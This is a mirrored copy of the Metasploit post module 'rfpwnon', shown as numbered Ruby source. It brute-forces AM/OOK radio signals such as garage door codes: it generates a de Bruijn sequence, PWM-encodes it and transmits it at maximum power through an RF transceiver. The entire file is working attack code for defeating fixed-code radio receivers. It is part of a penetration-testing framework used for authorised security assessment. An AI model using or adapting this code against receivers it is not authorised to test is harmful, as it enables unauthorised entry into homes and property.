Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/rftransceiver/rfpwnon.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
14
'Description' => %q{
15
Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
16
binary signals. This is a port of the rfpwnon tool by Corey Harding.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Corey Harding', # rfpwnon
21
'Craig Smith', # metasploit
22
],
23
'References' => [
24
['URL', 'https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py'],
25
],
26
'Platform' => ['hardware'],
27
'SessionTypes' => ['hwbridge'],
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [PHYSICAL_EFFECTS],
31
'Reliability' => []
32
}
33
)
34
)
35
register_options([
36
OptInt.new('FREQ', [true, 'Frequency to transmit on']),
37
OptInt.new('BAUD', [false, 'Baud rate to use', 2000]),
38
OptInt.new('BINLENGTH', [false, 'Binary Length of signal to brute force', 8]),
39
OptInt.new('REPEAT', [false, 'Number of times to repeat the signal', 5]),
40
OptString.new('PPAD', [false, 'Specify your own binary padding before the brute forced binary', nil]),
41
OptString.new('TPAD', [false, 'Specify your own binary padding after the brute forced binary', nil]),
42
OptBool.new('RAW', [false, 'When set, disables PWM encoding. BINLENGTH must be -1', false]),
43
OptBool.new('TRI', [false, 'When set, brute foces a trinary signal.', false]),
44
OptBool.new('EXTRAVERBOSE', [false, 'More verbose', false]),
45
OptInt.new('INDEX', [false, 'USB Index to use', 0]),
46
OptInt.new('DELAY', [false, 'Delay in milliseconds between transmissions', 500])
47
])
48
@zeropwm = '1110'
49
@onepwm = '1000'
50
@brutechar = '01'
51
end
52
53
# @param key [String] binary/trinary representation
54
# @return [Array] ByteArray
55
def convert_ook(key)
56
pwm_str_key = ''
57
key.each_char do |k|
58
x = '*'
59
case k
60
when '0'
61
x = @zeropwm
62
when '1'
63
x = @onepwm
64
when '2'
65
x = @twopwm
66
end
67
pwm_str_key += x
68
end
69
return pwm_str_key.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
70
end
71
72
# rubocop:disable Naming/MethodParameterName
73
def debruijn_bytes(k, n)
74
@a = [0]
75
@sequence = []
76
debruijn(1, 1, k, n)
77
return @sequence.join
78
end
79
80
def debruijn(t, p, k, n)
81
if t > n
82
if n % p == 0
83
1.upto(p) { |j| @sequence << @a[j] }
84
end
85
else
86
@a[t] = @a[t - p]
87
debruijn(t + 1, p, k, n)
88
(@a[t - p] + 1).upto(k - 1) do |j|
89
@a[t] = j
90
debruijn(t + 1, t, k, n)
91
end
92
end
93
end
94
# rubocop:enable Naming/MethodParameterName
95
96
def run
97
fail_with(Failure::BadConfig, 'Not an RF Transceiver') unless is_rf?
98
99
unless set_index(datastore['INDEX'])
100
print_error("Couldn't set USB index to #{datastore['INDEX']}")
101
return
102
end
103
104
if datastore['TRI']
105
@zeropwm = '10001000'
106
@onepwm = '11101110'
107
@twopwm = '10001110'
108
@brutechar = '012'
109
end
110
111
set_modulation('ASK/OOK')
112
set_freq(datastore['FREQ'])
113
set_sync_mode(0)
114
set_baud(datastore['BAUD'])
115
max_power
116
117
print_status('Generating de bruijn sequence...')
118
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
119
tail = seq[0, datastore['BINLENGTH'] - 1]
120
brutepacket = seq + tail
121
122
print_status("Brute forcing frequency: #{datastore['FREQ']}")
123
print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD']
124
print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD']
125
print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE']
126
127
startn = 0
128
endy = 512
129
addr = 512
130
if datastore['TRI']
131
endy = 128
132
addr = 128
133
end
134
if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD']
135
endy = datastore['BINLENGTH']
136
addr = 1
137
end
138
139
# Transmit
140
while startn < brutepacket.length
141
(0..datastore['REPEAT'] - 1).each do |_i|
142
brutepackettemp = brutepacket[startn..endy - 1]
143
next if brutepackettemp.length < datastore['BINLENGTH']
144
145
# Pad if asked to
146
brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD']
147
brutepackettemp += datastore['TPAD'] if datastore['TPAD']
148
if datastore['RAW']
149
key_packed = brutepackettemp.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
150
else
151
key_packed = convert_ook(brutepackettemp)
152
end
153
print_status('Transmitting...')
154
set_flen(key_packed.length)
155
rfxmit(key_packed.join)
156
print_status('Binary before PWM encoding:')
157
print_status(brutepackettemp.to_s)
158
print_status('Binary after PWM encoding:')
159
print_status(key_packed.join.unpack('H*')[0].hex.to_s(2).to_s)
160
sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0
161
end
162
if (datastore['REPEAT'] >= 2) || datastore['PPAD'] || datastore['TPAD']
163
startn += addr
164
endy += addr
165
else
166
startn = startn + addr - datastore['BINLENGTH']
167
endy = endy + addr - datastore['BINLENGTH']
168
end
169
end
170
171
print_status('Done')
172
set_mode('IDLE')
173
end
174
end
175
176